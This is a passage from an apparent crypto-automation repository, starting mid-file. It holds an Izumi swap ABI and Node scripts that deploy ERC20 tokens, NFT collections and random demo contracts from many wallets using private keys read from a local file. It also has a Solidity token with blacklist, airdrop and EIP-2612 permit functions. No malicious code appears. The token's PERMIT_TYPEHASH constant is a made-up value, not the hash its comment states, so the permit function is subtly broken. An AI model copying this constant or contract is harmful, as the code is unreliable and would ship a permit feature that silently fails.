async function main() { 156 | printBanner(); 157 | console.log("") 158 | const { mintType } = await inquirer.prompt([ 159 | { 160 | type: 'list', 161 | name: 'mintType', 162 | message: 'Select the minting option:', 163 | choices: ['Mint Instantly', 'Schedule Mint'] 164 | } 165 | ]); 166 | 167 | if (mintType === 'Mint Instantly') { 168 | await mintInstantly(); 169 | } else { 170 | await scheduleMint(); 171 | } 172 | } 173 | 174 | main().catch(err => { 175 | console.log(chalk.red(`❌ ${err}`)); 176 | }); 177 | -------------------------------------------------------------------------------- /actions/IzumiFinance/ABI.js: -------------------------------------------------------------------------------- 1 | { 2 | "izumiSwapABI": [ 3 | { 4 | "functionName": "constructor", 5 | "description": "Inicializa el contrato con _factory y _weth.", 6 | "inputs": [ 7 | { "name": "_factory", "type": "address" }, 8 | { "name": "_weth", "type": "address" } 9 | ], 10 | "stateMutability": "nonpayable" 11 | }, 12 | { 13 | "functionName": "WETH9", 14 | "description": "Retorna la dirección del contrato WETH9.", 15 | "inputs": [], 16 | "outputs": [ 17 | { "name": "", "type": "address" } 18 | ], 19 | "stateMutability": "view" 20 | }, 21 | { 22 | "functionName": "factory", 23 | "description": "Retorna la dirección de la factory.", 24 | "inputs": [], 25 | "outputs": [ 26 | { "name": "", "type": "address" } 27 | ], 28 | "stateMutability": "view" 29 | }, 30 | { 31 | "functionName": "multicall", 32 | "description": "Ejecuta múltiples llamadas (encapsuladas) en una sola transacción.", 33 | "inputs": [ 34 | { "name": "data", "type": "bytes[]" } 35 | ], 36 | "outputs": [ 37 | { "name": "results", "type": "bytes[]" } 38 | ], 39 | "stateMutability": "payable" 40 | }, 41 | { 42 | "functionName": "pool", 43 | "description": "Retorna la dirección del pool para tokenX, tokenY y fee.", 44 | "inputs": [ 45 | { "name": "tokenX", "type": "address" }, 46 | { "name": "tokenY", "type": "address" }, 47 | { "name": "fee", "type": "uint24" } 48 | ], 49 | "outputs": [ 50 | { "name": "", "type": "address" } 51 | ], 52 | "stateMutability": "view" 53 | }, 54 | { 55 | "functionName": "refundETH", 56 | "description": "Reembolsa ETH no utilizado en la transacción.", 57 | "inputs": [], 58 | "outputs": [], 59 | "stateMutability": "payable" 60 | }, 61 | { 62 | "functionName": "swapAmount", 63 | "description": "Realiza un swap especificando la cantidad exacta a intercambiar y la mínima cantidad a recibir.", 64 | "inputs": [ 65 | { 66 | "name": "params", 67 | "type": "tuple", 68 | "components": [ 69 | { "name": "path", "type": "bytes" }, 70 | { "name": "recipient", "type": "address" }, 71 | { "name": "amount", "type": "uint128" }, 72 | { "name": "minAcquired", "type": "uint256" }, 73 | { "name": "deadline", "type": "uint256" } 74 | ] 75 | } 76 | ], 77 | "outputs": [ 78 | { "name": "cost", "type": "uint256" }, 79 | { "name": "acquire", "type": "uint256" } 80 | ], 81 | "stateMutability": "payable" 82 | }, 83 | { 84 | "functionName": "swapDesire", 85 | "description": "Realiza un swap basado en la cantidad deseada a recibir.", 86 | "inputs": [ 87 | { 88 | "name": "params", 89 | "type": "tuple", 90 | "components": [ 91 | { "name": "path", "type": "bytes" }, 92 | { "name": "recipient", "type": "address" }, 93 | { "name": "desire", "type": "uint128" }, 94 | { "name": "maxPayed", "type": "uint256" }, 95 | { "name": "deadline", "type": "uint256" } 96 | ] 97 | } 98 | ], 99 | "outputs": [ 100 | { "name": "cost", "type": "uint256" }, 101 | { "name": "acquire", "type": "uint256" } 102 | ], 103 | "stateMutability": "payable" 104 | }, 105 | { 106 | "functionName": "swapX2YCallback", 107 | "description": "Callback para la función de swap de token X a token Y.", 108 | "inputs": [ 109 | { "name": "x", "type": "uint256" }, 110 | { "name": "y", "type": "uint256" }, 111 | { "name": "data", "type": "bytes" } 112 | ], 113 | "outputs": [], 114 | "stateMutability": "nonpayable" 115 | }, 116 | { 117 | "functionName": "swapY2XCallback", 118 | "description": "Callback para la función de swap de token Y a token X.", 119 | "inputs": [ 120 | { "name": "x", "type": "uint256" }, 121 | { "name": "y", "type": "uint256" }, 122 | { "name": "data", "type": "bytes" } 123 | ], 124 | "outputs": [], 125 | "stateMutability": "nonpayable" 126 | }, 127 | { 128 | "functionName": "sweepToken", 129 | "description": "Transfiere cualquier saldo remanente de un token.", 130 | "inputs": [ 131 | { "name": "token", "type": "address" }, 132 | { "name": "minAmount", "type": "uint256" }, 133 | { "name": "recipient", "type": "address" } 134 | ], 135 | "outputs": [], 136 | "stateMutability": "payable" 137 | }, 138 | { 139 | "functionName": "unwrapWETH9", 140 | "description": "Convierte WETH9 en ETH nativo.", 141 | "inputs": [ 142 | { "name": "minAmount", "type": "uint256" }, 143 | { "name": "recipient", "type": "address" } 144 | ], 145 | "outputs": [], 146 | "stateMutability": "payable" 147 | }, 148 | { 149 | "stateMutability": "payable", 150 | "type": "receive" 151 | } 152 | ], 153 | "izumiQuoterABI": [ 154 | { 155 | "functionName": "constructor", 156 | "description": "Inicializa el contrato Quoter con _factory y _weth.", 157 | "inputs": [ 158 | { "name": "_factory", "type": "address" }, 159 | { "name": "_weth", "type": "address" } 160 | ], 161 | "stateMutability": "nonpayable" 162 | }, 163 | { 164 | "functionName": "WETH9", 165 | "description": "Retorna la dirección de WETH9.", 166 | "inputs": [], 167 | "outputs": [ 168 | { "name": "", "type": "address" } 169 | ], 170 | "stateMutability": "view" 171 | }, 172 | { 173 | "functionName": "factory", 174 | "description": "Retorna la dirección de la factory asociada.", 175 | "inputs": [], 176 | "outputs": [ 177 | { "name": "", "type": "address" } 178 | ], 179 | "stateMutability": "view" 180 | }, 181 | { 182 | "functionName": "multicall", 183 | "description": "Ejecuta múltiples llamadas de funciones en una sola transacción.", 184 | "inputs": [ 185 | { "name": "data", "type": "bytes[]" } 186 | ], 187 | "outputs": [ 188 | { "name": "results", "type": "bytes[]" } 189 | ], 190 | "stateMutability": "payable" 191 | }, 192 | { 193 | "functionName": "swapDesire", 194 | "description": "Simula un swap para cotizar la cantidad a pagar en función del deseo.", 195 | "inputs": [ 196 | { "name": "desire", "type": "uint128" }, 197 | { "name": "path", "type": "bytes" } 198 | ], 199 | "outputs": [ 200 | { "name": "cost", "type": "uint256" }, 201 | { "name": "pointAfterList", "type": "int24[]" } 202 | ], 203 | "stateMutability": "nonpayable" 204 | } 205 | ] 206 | } 207 | -------------------------------------------------------------------------------- /actions/deploy_contract/launch.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | const inquirer = require('inquirer'); 5 | const ethers = require('ethers'); 6 | const solc = require('solc'); 7 | const colors = require('colors'); 8 | 9 | const chain = require('../../utils/chain'); 10 | 11 | // Load wallets from utils/wallets.json 12 | const walletsPath = path.resolve(__dirname, '../../utils/wallets.json'); 13 | let wallets = []; 14 | try { 15 | wallets = JSON.parse(fs.readFileSync(walletsPath, 'utf8')); 16 | } catch (error) { 17 | console.error('Error reading wallets.json'.red, error); 18 | process.exit(1); 19 | } 20 | 21 | inquirer 22 | .prompt([ 23 | { 24 | type: 'list', 25 | name: 'walletChoice', 26 | message: 'On which wallets would you like to deploy a token?', 27 | choices: [ 28 | { name: '1. All wallets', value: 'all' }, 29 | { name: '2. Specific IDs', value: 'specific' }, 30 | ], 31 | }, 32 | ]) 33 | .then(async (answers) => { 34 | let selectedWallets = []; 35 | if (answers.walletChoice === 'all') { 36 | selectedWallets = wallets; 37 | } else { 38 | const { walletIDs } = await inquirer.prompt([ 39 | { 40 | type: 'input', 41 | name: 'walletIDs', 42 | message: 'Enter wallet IDs separated by spaces (e.g., 1 3 5):', 43 | }, 44 | ]); 45 | const ids = walletIDs 46 | .trim() 47 | .split(/\s+/) 48 | .map((id) => parseInt(id.trim())) 49 | .filter((id) => !isNaN(id)); 50 | selectedWallets = wallets.filter((w) => ids.includes(w.id)); 51 | } 52 | 53 | if (selectedWallets.length === 0) { 54 | console.log('⚠️ No wallets selected for deployment.'.yellow); 55 | process.exit(0); 56 | } 57 | 58 | // Create a provider using the chain's RPC URL 59 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL); 60 | 61 | // Read and compile token.sol 62 | const tokenPath = path.resolve(__dirname, 'token.sol'); 63 | const tokenSource = fs.readFileSync(tokenPath, 'utf8'); 64 | const input = { 65 | language: 'Solidity', 66 | sources: { 67 | 'token.sol': { content: tokenSource }, 68 | }, 69 | settings: { 70 | outputSelection: { 71 | '*': { 72 | '*': ['abi', 'evm.bytecode'], 73 | }, 74 | }, 75 | }, 76 | }; 77 | 78 | const compiled = JSON.parse(solc.compile(JSON.stringify(input))); 79 | if (compiled.errors) { 80 | let fatal = false; 81 | compiled.errors.forEach((err) => { 82 | console.error(err.formattedMessage.red); 83 | if (err.severity === 'error') fatal = true; 84 | }); 85 | if (fatal) process.exit(1); 86 | } 87 | 88 | const tokenContractNames = Object.keys(compiled.contracts['token.sol']); 89 | if (tokenContractNames.length === 0) { 90 | console.error('❌ No token contract found in token.sol'.red); 91 | process.exit(1); 92 | } 93 | // Assume the first contract is our token 94 | const tokenContractName = tokenContractNames[0]; 95 | const tokenData = compiled.contracts['token.sol'][tokenContractName]; 96 | const tokenABI = tokenData.abi; 97 | const tokenBytecode = tokenData.evm.bytecode.object; 98 | 99 | // For each selected wallet, prompt for token details and deploy 100 | for (const walletInfo of selectedWallets) { 101 | console.log(`\n🏦 Wallet - [${walletInfo.address}]`); 102 | const tokenDetails = await inquirer.prompt([ 103 | { 104 | type: 'input', 105 | name: 'name', 106 | message: 'Enter Token Name:', 107 | }, 108 | { 109 | type: 'input', 110 | name: 'symbol', 111 | message: 'Enter Token Symbol:', 112 | }, 113 | { 114 | type: 'input', 115 | name: 'totalSupply', 116 | message: 'Enter Total Supply:', 117 | }, 118 | { 119 | type: 'input', 120 | name: 'decimals', 121 | message: 'Enter Decimals:', 122 | default: '18', 123 | }, 124 | ]); 125 | 126 | const decimals = parseInt(tokenDetails.decimals); 127 | let totalSupplyBN; 128 | try { 129 | totalSupplyBN = ethers.utils.parseUnits(tokenDetails.totalSupply, decimals); 130 | } catch (err) { 131 | console.error('Invalid total supply input.'.red); 132 | continue; 133 | } 134 | 135 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 136 | 137 | try { 138 | console.log( 139 | `Deploying Token Contract with parameters: Name: ${tokenDetails.name}, Symbol: ${tokenDetails.symbol}, Total Supply: ${tokenDetails.totalSupply}, Decimals: ${decimals}`.green 140 | ); 141 | 142 | // Calculate fees: gasLimit, maxFeePerGas, and maxPriorityFeePerGas 143 | const block = await provider.getBlock('latest'); 144 | const baseFee = block.baseFeePerGas ? block.baseFeePerGas : ethers.BigNumber.from(0); 145 | const maxFeePerGas = baseFee.mul(115).div(100); 146 | const maxPriorityFeePerGas = baseFee.mul(115).div(100); 147 | const gasLimit = Math.floor(Math.random() * (1500000 - 950000 + 1)) + 950000; 148 | 149 | const factory = new ethers.ContractFactory(tokenABI, tokenBytecode, wallet); 150 | const tokenContract = await factory.deploy( 151 | tokenDetails.name, 152 | tokenDetails.symbol, 153 | decimals, 154 | totalSupplyBN, 155 | { 156 | gasLimit, 157 | maxFeePerGas, 158 | maxPriorityFeePerGas, 159 | } 160 | ); 161 | 162 | console.log( 163 | `🚀 Deploy Tx Sent! - ${chain.TX_EXPLORER}${tokenContract.deployTransaction.hash}`.magenta 164 | ); 165 | const receipt = await tokenContract.deployTransaction.wait(); 166 | console.log( 167 | `🏠 Token Contract successfully Deployed at - ${chain.ADDRESS_EXPLORER}${tokenContract.address}\n`.magenta 168 | ); 169 | } catch (error) { 170 | if ( 171 | (error.message && error.message.includes('insufficient balance')) || 172 | error.code === -32603 || 173 | (error.message && error.message.includes('CALL_EXCEPTION')) 174 | ) { 175 | const balanceBN = await wallet.getBalance(); 176 | const formattedBalance = ethers.utils.formatEther(balanceBN); 177 | console.error( 178 | `❌ Wallet - [${walletInfo.address}] is out of funds to deploy this token. Balance [${formattedBalance}] ${chain.SYMBOL}`.red 179 | ); 180 | } else { 181 | console.error( 182 | `❌ Error deploying token contract with wallet ID ${walletInfo.id}: ${error.message}`.red 183 | ); 184 | } 185 | } 186 | } 187 | }) 188 | .catch((err) => { 189 | console.error('❌ An error occurred:', err.message.red); 190 | }); 191 | -------------------------------------------------------------------------------- /actions/deploy_contract/NFTs/deploy.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | const inquirer = require('inquirer'); 5 | const ethers = require('ethers'); 6 | const solc = require('solc'); 7 | const colors = require('colors'); 8 | 9 | const chain = require('../../../utils/chain'); 10 | 11 | // Load wallets from utils/wallets.json 12 | const walletsPath = path.resolve(__dirname, '../../../utils/wallets.json'); 13 | let wallets = []; 14 | try { 15 | wallets = JSON.parse(fs.readFileSync(walletsPath, 'utf8')); 16 | } catch (error) { 17 | console.error("Error reading wallets.json".red, error); 18 | process.exit(1); 19 | } 20 | 21 | (async () => { 22 | // Prompt for wallet selection 23 | const { walletChoice } = await inquirer.prompt([ 24 | { 25 | type: 'list', 26 | name: 'walletChoice', 27 | message: 'Select the wallet(s) to deploy the NFT contract:', 28 | choices: [ 29 | { name: '1. All wallets', value: 'all' }, 30 | { name: '2. Specific IDs', value: 'specific' } 31 | ] 32 | } 33 | ]); 34 | 35 | let selectedWallets = []; 36 | if (walletChoice === 'all') { 37 | selectedWallets = wallets; 38 | } else { 39 | const { walletIDs } = await inquirer.prompt([ 40 | { 41 | type: 'input', 42 | name: 'walletIDs', 43 | message: 'Enter wallet IDs separated by spaces (e.g., 1 3 5):' 44 | } 45 | ]); 46 | const ids = walletIDs.trim().split(/\s+/).map(id => parseInt(id)).filter(id => !isNaN(id)); 47 | selectedWallets = wallets.filter(w => ids.includes(w.id)); 48 | } 49 | 50 | if (selectedWallets.length === 0) { 51 | console.log("⚠️ No wallets selected for deployment.".yellow); 52 | process.exit(0); 53 | } 54 | 55 | // Prompt for NFT collection details 56 | const nftDetails = await inquirer.prompt([ 57 | { 58 | type: 'input', 59 | name: 'collectionName', 60 | message: 'Enter NFT Collection Name:' 61 | }, 62 | { 63 | type: 'input', 64 | name: 'ticket', 65 | message: 'Enter NFT Ticket (Symbol):' 66 | }, 67 | { 68 | type: 'input', 69 | name: 'maxSupply', 70 | message: 'Enter Maximum Supply to mint:', 71 | validate: (input) => { 72 | return (!isNaN(input) && parseInt(input) > 0) ? true : "Please enter a valid number greater than 0"; 73 | } 74 | } 75 | ]); 76 | const maxSupply = parseInt(nftDetails.maxSupply); 77 | 78 | // Read and compile nft.sol 79 | const nftPath = path.resolve(__dirname, 'nft.sol'); 80 | const nftSource = fs.readFileSync(nftPath, 'utf8'); 81 | 82 | const inputJSON = { 83 | language: 'Solidity', 84 | sources: { 85 | 'nft.sol': { content: nftSource } 86 | }, 87 | settings: { 88 | outputSelection: { 89 | '*': { 90 | '*': ['abi', 'evm.bytecode'] 91 | } 92 | } 93 | } 94 | }; 95 | 96 | const compiled = JSON.parse(solc.compile(JSON.stringify(inputJSON))); 97 | if (compiled.errors) { 98 | let fatal = false; 99 | compiled.errors.forEach(err => { 100 | console.error(err.formattedMessage.red); 101 | if (err.severity === 'error') fatal = true; 102 | }); 103 | if (fatal) process.exit(1); 104 | } 105 | 106 | const nftContractNames = Object.keys(compiled.contracts['nft.sol']); 107 | if (nftContractNames.length === 0) { 108 | console.error("❌ No NFT contract found in nft.sol".red); 109 | process.exit(1); 110 | } 111 | const nftContractName = nftContractNames[0]; 112 | const nftData = compiled.contracts['nft.sol'][nftContractName]; 113 | const nftABI = nftData.abi; 114 | const nftBytecode = nftData.evm.bytecode.object; 115 | 116 | // Create a provider using the chain's RPC URL 117 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL); 118 | 119 | // Prepare data.json file (to record NFT collection deployments) 120 | const dataFile = path.resolve(__dirname, 'data.json'); 121 | let data = []; 122 | if (fs.existsSync(dataFile)) { 123 | try { 124 | data = JSON.parse(fs.readFileSync(dataFile, 'utf8')); 125 | } catch (err) { 126 | console.error("Error reading data.json".red, err); 127 | } 128 | } 129 | 130 | // For each selected wallet, deploy the NFT contract 131 | for (const walletInfo of selectedWallets) { 132 | console.log(`\nDeploying NFT Collection from wallet: [${walletInfo.address}]`.green); 133 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 134 | 135 | try { 136 | // Calculate fees 137 | const block = await provider.getBlock('latest'); 138 | const baseFee = block.baseFeePerGas ? block.baseFeePerGas : ethers.BigNumber.from(0); 139 | const maxFeePerGas = baseFee.mul(115).div(100); 140 | const maxPriorityFeePerGas = baseFee.mul(115).div(100); 141 | const gasLimit = Math.floor(Math.random() * (850000 - 750000 + 1)) + 750000; 142 | 143 | const factory = new ethers.ContractFactory(nftABI, nftBytecode, wallet); 144 | const nftContract = await factory.deploy( 145 | nftDetails.collectionName, 146 | nftDetails.ticket, 147 | maxSupply, 148 | { 149 | gasLimit, 150 | maxFeePerGas, 151 | maxPriorityFeePerGas 152 | } 153 | ); 154 | 155 | console.log(`🚀 Deploy Tx Sent! - ${chain.TX_EXPLORER}${nftContract.deployTransaction.hash}`.magenta); 156 | const receipt = await nftContract.deployTransaction.wait(); 157 | console.log(`🏠 NFT Contract successfully Deployed at - ${chain.ADDRESS_EXPLORER}${nftContract.address}\n`.magenta); 158 | 159 | // Generate deployment data for data.json 160 | // Determine the counter for this wallet's deployments 161 | let walletDeployments = data.filter(item => item.deployer_address.toLowerCase() === wallet.address.toLowerCase()); 162 | let newId = walletDeployments.length + 1; 163 | let newEntry = { 164 | id: newId, 165 | deployer_address: wallet.address, 166 | collection_name: nftDetails.collectionName, 167 | max_supply: maxSupply, 168 | collection_symbol: nftDetails.ticket 169 | }; 170 | data.push(newEntry); 171 | fs.writeFileSync(dataFile, JSON.stringify(data, null, 2)); 172 | console.log("Deployment data saved to data.json".green); 173 | } catch (error) { 174 | if ( 175 | (error.message && error.message.includes("insufficient balance")) || 176 | error.code === -32603 || 177 | (error.message && error.message.includes("CALL_EXCEPTION")) 178 | ) { 179 | const balanceBN = await wallet.getBalance(); 180 | const formattedBalance = ethers.utils.formatEther(balanceBN); 181 | console.error(`❌ Wallet - [${walletInfo.address}] is out of funds to deploy this NFT. Balance [${formattedBalance}] ${chain.SYMBOL}`.red); 182 | } else { 183 | console.error(`❌ Error deploying NFT contract with wallet ID ${walletInfo.id}: ${error.message}`.red); 184 | } 185 | } 186 | } 187 | })(); 188 | -------------------------------------------------------------------------------- /actions/deploy_contract/token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | 4 | contract Token { 5 | // Basic ERC20 fields 6 | string public name; 7 | string public symbol; 8 | uint8 public decimals; 9 | uint256 public totalSupply; 10 | 11 | mapping(address => uint256) public balanceOf; 12 | mapping(address => mapping(address => uint256)) public allowance; 13 | 14 | // Owner (for admin functions) 15 | address public owner; 16 | 17 | // Blacklist mapping 18 | mapping(address => bool) public blacklisted; 19 | 20 | // EIP-2612 permit variables 21 | mapping(address => uint256) public nonces; 22 | bytes32 public DOMAIN_SEPARATOR; 23 | // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") 24 | bytes32 public constant PERMIT_TYPEHASH = 0xd505accf7d4d7c8d5b7b1ec471de2e9872b6e1c38e6d82c1b3c6f4cf4a3f5a6b; 25 | 26 | event Transfer(address indexed from, address indexed to, uint256 value); 27 | event Approval(address indexed owner, address indexed spender, uint256 value); 28 | event Burn(address indexed account, uint256 value); 29 | event Blacklisted(address indexed account); 30 | event Unblacklisted(address indexed account); 31 | event Airdrop(address indexed from, address[] recipients, uint256 amount); 32 | event BatchTransfer(address indexed from, address[] recipients, uint256[] amounts); 33 | 34 | modifier onlyOwner() { 35 | require(msg.sender == owner, "Not owner"); 36 | _; 37 | } 38 | 39 | modifier notBlacklisted(address account) { 40 | require(!blacklisted[account], "Address is blacklisted"); 41 | _; 42 | } 43 | 44 | constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) { 45 | name = _name; 46 | symbol = _symbol; 47 | decimals = _decimals; 48 | totalSupply = _totalSupply; 49 | owner = msg.sender; 50 | balanceOf[msg.sender] = _totalSupply; 51 | DOMAIN_SEPARATOR = keccak256(abi.encode( 52 | keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"), 53 | keccak256(bytes(_name)), 54 | keccak256(bytes("1")), 55 | block.chainid, 56 | address(this) 57 | )); 58 | emit Transfer(address(0), msg.sender, _totalSupply); 59 | } 60 | 61 | function _transfer(address from, address to, uint256 amount) internal notBlacklisted(from) notBlacklisted(to) { 62 | require(balanceOf[from] >= amount, "Insufficient balance"); 63 | balanceOf[from] -= amount; 64 | balanceOf[to] += amount; 65 | emit Transfer(from, to, amount); 66 | } 67 | 68 | // Standard transfer 69 | function transfer(address to, uint256 amount) external notBlacklisted(msg.sender) notBlacklisted(to) returns (bool) { 70 | _transfer(msg.sender, to, amount); 71 | return true; 72 | } 73 | 74 | // Approve spender 75 | function approve(address spender, uint256 amount) external returns (bool) { 76 | allowance[msg.sender][spender] = amount; 77 | emit Approval(msg.sender, spender, amount); 78 | return true; 79 | } 80 | 81 | // Standard transferFrom 82 | function transferFrom(address from, address to, uint256 amount) external notBlacklisted(from) notBlacklisted(to) returns (bool) { 83 | require(allowance[from][msg.sender] >= amount, "Allowance exceeded"); 84 | allowance[from][msg.sender] -= amount; 85 | _transfer(from, to, amount); 86 | return true; 87 | } 88 | 89 | // Permit function (EIP-2612 style) 90 | function permit(address owner_, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external { 91 | require(deadline >= block.timestamp, "Permit: expired deadline"); 92 | bytes32 structHash = keccak256(abi.encode( 93 | PERMIT_TYPEHASH, 94 | owner_, 95 | spender, 96 | value, 97 | nonces[owner_], 98 | deadline 99 | )); 100 | bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, structHash)); 101 | address recoveredAddress = ecrecover(digest, v, r, s); 102 | require(recoveredAddress != address(0) && recoveredAddress == owner_, "Invalid signature"); 103 | allowance[owner_][spender] = value; 104 | nonces[owner_]++; 105 | emit Approval(owner_, spender, value); 106 | } 107 | 108 | // Burn tokens from msg.sender 109 | function burn(uint256 amount) external notBlacklisted(msg.sender) { 110 | require(balanceOf[msg.sender] >= amount, "Insufficient balance to burn"); 111 | balanceOf[msg.sender] -= amount; 112 | totalSupply -= amount; 113 | emit Burn(msg.sender, amount); 114 | emit Transfer(msg.sender, address(0), amount); 115 | } 116 | 117 | // Burn tokens from an account using allowance 118 | function burnFrom(address account, uint256 amount) external notBlacklisted(account) { 119 | require(allowance[account][msg.sender] >= amount, "Allowance exceeded for burn"); 120 | require(balanceOf[account] >= amount, "Insufficient balance to burn"); 121 | allowance[account][msg.sender] -= amount; 122 | balanceOf[account] -= amount; 123 | totalSupply -= amount; 124 | emit Burn(account, amount); 125 | emit Transfer(account, address(0), amount); 126 | } 127 | 128 | // Blacklist an address (only owner) 129 | function blacklist(address account) external onlyOwner { 130 | blacklisted[account] = true; 131 | emit Blacklisted(account); 132 | } 133 | 134 | // Unblacklist an address (only owner) 135 | function unblacklist(address account) external onlyOwner { 136 | blacklisted[account] = false; 137 | emit Unblacklisted(account); 138 | } 139 | 140 | // Airdrop: send the same amount to multiple addresses (only owner) 141 | function airdrop(address[] calldata recipients, uint256 amount) external onlyOwner { 142 | uint256 totalRequired = amount * recipients.length; 143 | require(balanceOf[msg.sender] >= totalRequired, "Insufficient balance for airdrop"); 144 | for (uint256 i = 0; i < recipients.length; i++) { 145 | _transfer(msg.sender, recipients[i], amount); 146 | } 147 | emit Airdrop(msg.sender, recipients, amount); 148 | } 149 | 150 | // sendInBatch: send tokens to multiple addresses with specific amounts 151 | function sendInBatch(address[] calldata recipients, uint256[] calldata amounts) external { 152 | require(recipients.length == amounts.length, "Arrays length mismatch"); 153 | uint256 totalAmount = 0; 154 | for (uint256 i = 0; i < amounts.length; i++) { 155 | totalAmount += amounts[i]; 156 | } 157 | require(balanceOf[msg.sender] >= totalAmount, "Insufficient balance for batch transfer"); 158 | for (uint256 i = 0; i < recipients.length; i++) { 159 | _transfer(msg.sender, recipients[i], amounts[i]); 160 | } 161 | emit BatchTransfer(msg.sender, recipients, amounts); 162 | } 163 | } 164 | -------------------------------------------------------------------------------- /actions/deploy_contract/index.js: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | const fs = require('fs'); 3 | const path = require('path'); 4 | const inquirer = require('inquirer'); 5 | const ethers = require('ethers'); 6 | const colors = require('colors'); 7 | const solc = require('solc'); 8 | 9 | // Load chain configuration 10 | const chain = require('../../utils/chain'); 11 | 12 | // Load wallets from utils/wallets.json 13 | const walletsPath = path.resolve(__dirname, '../../utils/wallets.json'); 14 | let wallets = []; 15 | try { 16 | wallets = JSON.parse(fs.readFileSync(walletsPath, 'utf8')); 17 | } catch (error) { 18 | console.error('Error reading wallets.json'.red, error); 19 | process.exit(1); 20 | } 21 | 22 | // Read the Solidity source file 23 | const contractsPath = path.resolve(__dirname, 'contracts.sol'); 24 | const source = fs.readFileSync(contractsPath, 'utf8'); 25 | 26 | // Prepare Solidity compiler input 27 | const input = { 28 | language: 'Solidity', 29 | sources: { 30 | 'contracts.sol': { 31 | content: source, 32 | }, 33 | }, 34 | settings: { 35 | outputSelection: { 36 | '*': { 37 | '*': ['abi', 'evm.bytecode'], 38 | }, 39 | }, 40 | }, 41 | }; 42 | 43 | // Compile contracts (no "Compiling contracts" message) 44 | const compiled = JSON.parse(solc.compile(JSON.stringify(input))); 45 | 46 | // Check for compilation errors 47 | if (compiled.errors) { 48 | let fatal = false; 49 | compiled.errors.forEach((err) => { 50 | console.error(err.formattedMessage.red); 51 | if (err.severity === 'error') fatal = true; 52 | }); 53 | if (fatal) process.exit(1); 54 | } 55 | 56 | // Get all contract names from the compilation output 57 | const contractNames = Object.keys(compiled.contracts['contracts.sol']); 58 | if (contractNames.length === 0) { 59 | console.error('❌ No contracts found in compilation.'.red); 60 | process.exit(1); 61 | } 62 | 63 | // Helper: Return constructor arguments based on contract name 64 | function getConstructorArgs(contractName) { 65 | switch (contractName) { 66 | case 'SimpleStorage': 67 | return [0]; 68 | case 'SimpleCounter': 69 | return []; 70 | case 'Greeter': 71 | return ["Hello"]; 72 | case 'Ownable': 73 | return []; 74 | case 'HelloWorld': 75 | return []; 76 | case 'BasicCalculator': 77 | return []; 78 | case 'DataStore': 79 | return [123]; 80 | case 'EmptyContract': 81 | return []; 82 | case 'SimpleEvent': 83 | return []; 84 | case 'SimpleLogger': 85 | return []; 86 | default: 87 | return []; 88 | } 89 | } 90 | 91 | inquirer 92 | .prompt([ 93 | { 94 | type: 'list', 95 | name: 'walletChoice', 96 | message: 'On what addresses would you like to deploy a contract?', 97 | choices: [ 98 | { name: '1. All wallets', value: 'all' }, 99 | { name: '2. Specific IDs', value: 'specific' }, 100 | ], 101 | }, 102 | ]) 103 | .then(async (answers) => { 104 | let selectedWallets = []; 105 | if (answers.walletChoice === 'all') { 106 | selectedWallets = wallets; 107 | } else { 108 | const { walletIDs } = await inquirer.prompt([ 109 | { 110 | type: 'input', 111 | name: 'walletIDs', 112 | message: 'Enter wallet IDs separated by spaces (e.g., 1 3 5):', 113 | }, 114 | ]); 115 | const ids = walletIDs 116 | .trim() 117 | .split(/\s+/) 118 | .map((id) => parseInt(id.trim())) 119 | .filter((id) => !isNaN(id)); 120 | selectedWallets = wallets.filter((w) => ids.includes(w.id)); 121 | } 122 | 123 | if (selectedWallets.length === 0) { 124 | console.log('⚠️ No wallets selected for deployment.'.yellow); 125 | process.exit(0); 126 | } 127 | 128 | // Create a provider using the chain's RPC URL 129 | const provider = new ethers.providers.JsonRpcProvider(chain.RPC_URL); 130 | 131 | // For each wallet, deploy one random contract from the list 132 | for (const walletInfo of selectedWallets) { 133 | // Create wallet instance outside try so it can be used in catch 134 | const wallet = new ethers.Wallet(walletInfo.privateKey, provider); 135 | try { 136 | // Choose a random contract from the compiled list 137 | const randomIndex = Math.floor(Math.random() * contractNames.length); 138 | const selectedContractName = contractNames[randomIndex]; 139 | const contractData = 140 | compiled.contracts['contracts.sol'][selectedContractName]; 141 | const contractABI = contractData.abi; 142 | const contractBytecode = contractData.evm.bytecode.object; 143 | const constructorArgs = getConstructorArgs(selectedContractName); 144 | 145 | console.log( 146 | `\n🏦 Wallet - [${walletInfo.address}] is compiling contract [${selectedContractName}]` 147 | .green 148 | ); 149 | console.log('✅ Contract Has been compiled.'.green); 150 | console.log('🔨 Preparing Deployment...'.cyan); 151 | 152 | // Retrieve latest block to get baseFeePerGas (if available) 153 | const block = await provider.getBlock('latest'); 154 | const baseFee = block.baseFeePerGas 155 | ? block.baseFeePerGas 156 | : ethers.BigNumber.from(0); 157 | // Calculate fees: baseFee + 15% 158 | const maxFeePerGas = baseFee.mul(115).div(100); 159 | const maxPriorityFeePerGas = baseFee.mul(115).div(100); 160 | 161 | // Set a random gasLimit between 150,000 and 250,000 162 | const gasLimit = 163 | Math.floor(Math.random() * (250000 - 150000 + 1)) + 150000; 164 | 165 | const factory = new ethers.ContractFactory( 166 | contractABI, 167 | contractBytecode, 168 | wallet 169 | ); 170 | 171 | // Deploy the contract using its constructor arguments 172 | const contract = await factory.deploy(...constructorArgs, { 173 | gasLimit, 174 | maxFeePerGas, 175 | maxPriorityFeePerGas, 176 | }); 177 | 178 | console.log( 179 | `🚀 Deploy Tx Sent! - ${chain.TX_EXPLORER}${contract.deployTransaction.hash}` 180 | .magenta 181 | ); 182 | 183 | const receipt = await contract.deployTransaction.wait(); 184 | 185 | console.log( 186 | `🏠 Contract successfully Deployed at - ${chain.ADDRESS_EXPLORER}${contract.address}\n` 187 | .magenta 188 | ); 189 | } 